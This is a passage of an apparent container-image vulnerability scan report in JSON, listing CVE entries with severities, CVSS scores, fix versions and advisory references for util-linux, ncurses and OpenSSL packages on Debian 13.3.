"sha256:a45781891e320e95dc353066b0593187ffec928e44b2d0b279294c3faa432a96", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a9bc61b2f7f137a82aeed0abd297ea936e14cbe95d1fc6ed3beeb6b23fd298e5", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:12e0279df1e356453eb806a64fec495ffdcd304e8760d711ae724011eea6802d", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "ncurses-base@6.5+20250216-2", "PkgName": "ncurses-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/ncurses-base@6.5%2B20250216-2?arch=all\u0026distro=debian-13.3", "UID": "767a0231348a5cb5" }, "InstalledVersion": "6.5+20250216-2", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d5ef76839e851de530494d031eba49fc9b646a1c1905ce4000f399f8be801124", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "ncurses-bin@6.5+20250216-2", "PkgName": "ncurses-bin", "PkgIdentifier": { "PURL": "pkg:deb/debian/ncurses-bin@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.3", "UID": "5b541563cf6587e5" }, "InstalledVersion": "6.5+20250216-2", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d69bcaf9deebc94ec0486eb4801d7a8a89792196a1f545b069a9aee164d85df7", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-31789", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.5.4-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31789", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2bb0dcb9511b0d6ba5aa851463020c3e5ff6da034bb70af6242ee3d60e830f6e", "Title": "openssl: OpenSSL: Heap buffer overflow on 32-bit systems from large X.509 certificate processing", "Description": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "julia": 4, "nvd": 4, "photon": 4, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31789", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://github.com/advisories/GHSA-j79m-9jxq-788r", "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde", "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf", "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49", "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9", "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521", "https://nvd.nist.gov/vuln/detail/CVE-2026-31789", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://www.cve.org/CVERecord?id=CVE-2026-31789", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.617Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-14456", "VendorIDs": [ "DSA-6465-1" ], "PkgID": "openssl@3.5.4-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2ffa02934a85e3b2e6e3b2d5c771956a802c74e810b4bac98fa78786fdb3b10a", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-28387", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.5.4-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28387", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d38ae3faeefd05109cd76daa57738f09350212b6195e2162d6a2eb0044ed6036", "Title": "openssl: OpenSSL: Arbitrary code execution due to use-after-free in DANE TLSA authentication", "Description": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as 'unusable' any TLSA records that have the PKIX\ncertificate usages. These SMTP (or other similar) clients are not vulnerable\nto this issue. Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28387", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b", "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe", "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3", "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7", "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177", "https://nvd.nist.gov/vuln/detail/CVE-2026-28387", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28387", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.7Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28388", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.5.4-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28388", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a89378d903d27d09b56aab7841e6498aeadf44f6fd41de9fe49805a6f8ea1d4", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in delta CRL processing", "Description": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ 